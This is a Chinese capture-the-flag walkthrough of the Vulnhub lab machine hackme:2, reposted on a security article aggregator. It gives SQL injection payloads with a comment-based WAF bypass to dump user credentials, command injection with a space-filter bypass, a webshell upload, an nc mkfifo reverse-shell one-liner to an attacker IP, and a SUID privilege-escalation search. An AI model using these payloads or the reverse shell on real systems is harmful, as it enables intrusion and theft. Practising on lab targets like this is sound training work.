Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17683 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
hackme:2 靶机攻略
本文来自公众号:安全客   2021.01.14 18:00:46


0x01 背景:

hackme:2是vulnhub上的一个medium难度的CTF靶机,难度适中、内容丰富,贴近实战。而且没有太多的脑洞,适合安全工作者们用来练习渗透测试,然而唯一的缺憾是目前没有公开的攻略,因此把个人的通关过程记录于此,作为攻略分享给大家!

0x02 技术关键词:

SQL注入、WAF Bypass、模糊测试、文件上传、suid提权

0x03 靶机发现与端口扫描

做vulnhub上的靶机的第一步,所有的靶机都是一样的套路,不在这里多费笔墨。

0x04 SQL注入与WAF Bypass

打开位于80端口的Web页面,注册一个测试账号wangtua/wangtua,就可以登录系统了,可以发现是一个书店系统。

进入系统之后发现有一个搜索框,SQL注入的套路很明显了。要做SQL注入、第一步就是猜测SQL语句的格式和注入点。

1、探测SQL格式,WAF规则

本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,

当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:

因此我们猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):

$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"

基于此,我们构造如下payload:

Linux%' and '123' like '1

使用另一个payload:

Linux%' and '23' like '1

发现无法返回结果

可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题:
Payload:

Linux%'/**/and database() like/**/'

没有返回内容,而当我们使用注释符来代替空格的时候,则可以执行成功。

2、构造Payload

通过构造联合查询,一步一步获取出数据库名,表名,列名和字段

Linux%'/**/union/**/select/**/database/**/(),'2','3

Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp

Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'

到此为止我们发现了一个superadmin的账号,将md5值在线解码之后发现是Uncrackable

0x05 模糊测试与命令执行

进入超级管理员账号之后,我们发现了一个可以进行文件上传的点,

上传cat.jpg之后,页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7,可以返回49
我们可以使用BurpSuite专业版的Intruder模块来进行模糊测试。

Payload选择模糊测试-完整,

点击开始攻击。
攻击完成之后可以发现 `id` 这个payload有命令执行的回显。

我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用cat<welcomeadmin.php这个payload来绕过过滤。
可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。

以及命令执行的成因:

使用哥斯拉生成木马并上传,发现php后缀被过滤,换成php3等也不行。

后缀改成png之后才上传成功,然而无法正常解析成PHP文件。

这里考虑使用刚才的命令执行漏洞,将文件名改成god.php

使用哥斯拉进行连接,发现连接成功


0x06 后渗透与提权

为了可以有更好的交互环境,我们用kali自带的weevely生成木马并连接,完成连接之后使用nc反弹shell:
由于靶机的nc版本特殊,无法使用nc -e选项,因此这里使用了如下的payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(来自参考资料2)

使用pyhton伪终端命令,可以在伪终端执行sudo等命令

使用命令find / -perm -u=s -type f 2>/dev/null来发现设置了suid位的应用程序(参考资料1)
关于suid提权的原理,可以参考P师傅的博客(参考资料3)。

发现home目录下有一个可疑的文件,执行一下之后发现顺利get root权限。


0x07 总结与复盘:

这台靶机感觉制作的比较用心,SQL注入和文件上传等部分都比较贴近实战,唯一美中不足的是提权部分有些太过简单。目前本人正在备考OSCP,在vulnhub和HTB上做了不少靶机,打算最近把vulnhub上后渗透的套路总结一下,再发一篇文章,希望大家支持一下。

0x08 参考资料:

1) https://payatu.com/guide-linux-privilege-escalation
2) https://github.com/swisskyrepo/PayloadsAllTheThings
3) https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

(点击“阅读原文”查看链 接)


- End -
精彩推荐
免拆芯片提取固件
风吹幡动:F5与“感知可控、随需而变的应用”
gatesXgame



戳“阅读原文”查看更多内容